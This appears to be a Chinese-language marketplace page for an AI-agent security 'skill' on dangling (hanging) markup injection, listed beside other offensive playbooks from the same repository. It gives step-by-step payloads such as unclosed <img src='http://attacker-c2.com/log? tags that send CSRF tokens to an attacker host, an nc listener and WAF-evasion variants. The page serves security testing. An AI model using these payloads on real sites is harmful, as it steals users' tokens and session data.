Community写作与编辑github.com

yaklang/hanging-markup-injection

悬空标记注入攻击手册。当HTML注入可行但JavaScript执行被阻止时(CSP、消毒器剥离事件处理程序、WAF拦截脚本标签),通过注入未闭合的HTML标签捕获后续页面内容,从而窃取CSRF令牌、会话数据和页面内容。

hanging-markup-injection 是什么?

悬空标记注入攻击手册适用于AI代理(如Claude Code、Cursor、Codex),专为在JavaScript执行受限场景下利用HTML注入漏洞设计。当应用程序存在反射型或存储型HTML注入点,但安全策略(CSP)、输入消毒器或WAF禁止执行脚本时,该技能提供替代攻击路径。其核心原理是注入故意不闭合的HTML标签(如`<img src='`或`<form action='http://attacker.com'>`),使浏览器将后续响应中的合法内容(如CSRF令牌、会话标识或敏感数据)视为标签属性值,从而通过第三方服务器(如攻击者的日志服务器)或相同的源策略进行窃取。支持跨站点场景,包括HTTP和HTTPS环境,并演示如何利用不合规的HTML触发跨域请求,从而绕过同源限制。该技能涵盖多种注入向量(如`<a href=

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/dangling-markup-injection

Installed? Explore more 写作与编辑 skills: steipete/notion, langchain-ai/langchain, bytedance/podcast-generation · View all 6 →

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

预览

来自技能 README

hanging-markup-injection preview
hanging-markup-injection preview

文档

hanging-markup-injection 是做什么的?

悬空标记注入攻击手册。当HTML注入可行但JavaScript执行被阻止时(CSP、消毒器剥离事件处理程序、WAF拦截脚本标签),通过注入未闭合的HTML标签捕获后续页面内容,从而窃取CSRF令牌、会话数据和页面内容。

工作原理

悬空标记注入本质上是利用HTML解析器的容错机制。当注入的标签(如<img src=)未闭合时,浏览器的解析器会将后续的HTML内容视为该标签的属性值,直到遇到下一个闭合标签(如>或')。这样,原本位于页面中的CSRF令牌、会话ID、表单数据或其他机密信息就会被“捕获”到标签的属性中,随后可以通过引用第三方服务器的资源(如<img src=http://attacker-c2.com/log?)将数据发送到攻击者控制的服务器。

适用场景

  • 反射型HTML注入:在URL参数或表单字段中注入未闭合的标签,当页面渲染时,响应中的其他敏感数据会被捕获。
  • 存储型HTML注入:将恶意输入永久存储在服务器上(如评论、个人资料),之后每个访问该页面的用户都会泄露其数据。
  • 跨域数据外泄:通过<img src=等标签发起GET请求,将数据附加到URL中发送到外部服务器,从而绕过大多数CSP策略(CSP通常不限制图片加载)。

平台支持

该技能适用于任何允许用户控制HTML输出的Web应用程序,与具体编程语言(PHP、Python、Java、Node.js等)无关。它可以在Claude Code、Cursor、Codex等AI代理中作为自动化测试步骤集成,或由安全专业人员手动执行。

实施步骤

  1. 识别注入点:找到应用程序中将用户输入嵌入HTML响应的位置(如搜索框、表单字段、错误消息)。
  2. 检测JavaScript限制:确认CSP策略或WAF规则禁止<script>标签或事件处理器(如onerror)。
  3. 注入悬空标记:选择一个合适的标签(如<img src='http://attacker-server/?),并在属性值开头留下未闭合的单引号或双引号。
  4. 设置监听器:在攻击者控制的服务器上设置一个HTTP日志服务器(如使用nc -l -p 80或python3 -m http.server)。
  5. 触发并捕获:让受害者访问包含恶意输入的页面,或者等待存储型注入被其他用户查看。浏览器会将后续内容作为属性值发送到监听器地址。

示例

假设目标URL为http://example.com/search?q=test,并且搜索结果页面上显示用户查询(HTML注入),同时页面中包含一个隐藏的CSRF令牌:

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abcdef12345">
  ...
</form>

通过注入<img src='http://attacker-c2.com/log?(不闭合单引号),如果应用程序直接输出查询,则渲染后的HTML为:

<img src='http://attacker-c2.com/log?
...
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="abcdef12345">

浏览器会尝试加载http://attacker-c2.com/log?<整个后续内容直到遇到'>'>,从而将CSRF令牌在内的数据发送到攻击者服务器。

注意事项

  • 确保攻击者服务器能够接收跨域请求(CORS头可能不需要,因为请求是浏览器发起的简单GET)。
  • 在HTTPS页面上注入HTTP请求时,现代浏览器可能会混合内容警告,但数据仍会被发送。
  • 某些WAF可能会检测未闭合的引号,因此可以尝试变体如<img src=(不提供协议)或<a href=//attacker.com/。
  • 受限于HTML长度和解析器行为,捕获的数据可能包含多余的字符,需要后续清理。

该技能是Web安全测试工具箱中的重要补充,特别是在面临严格JavaScript执行限制时,提供了一种绕过手段来验证数据泄露风险。

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

相关技能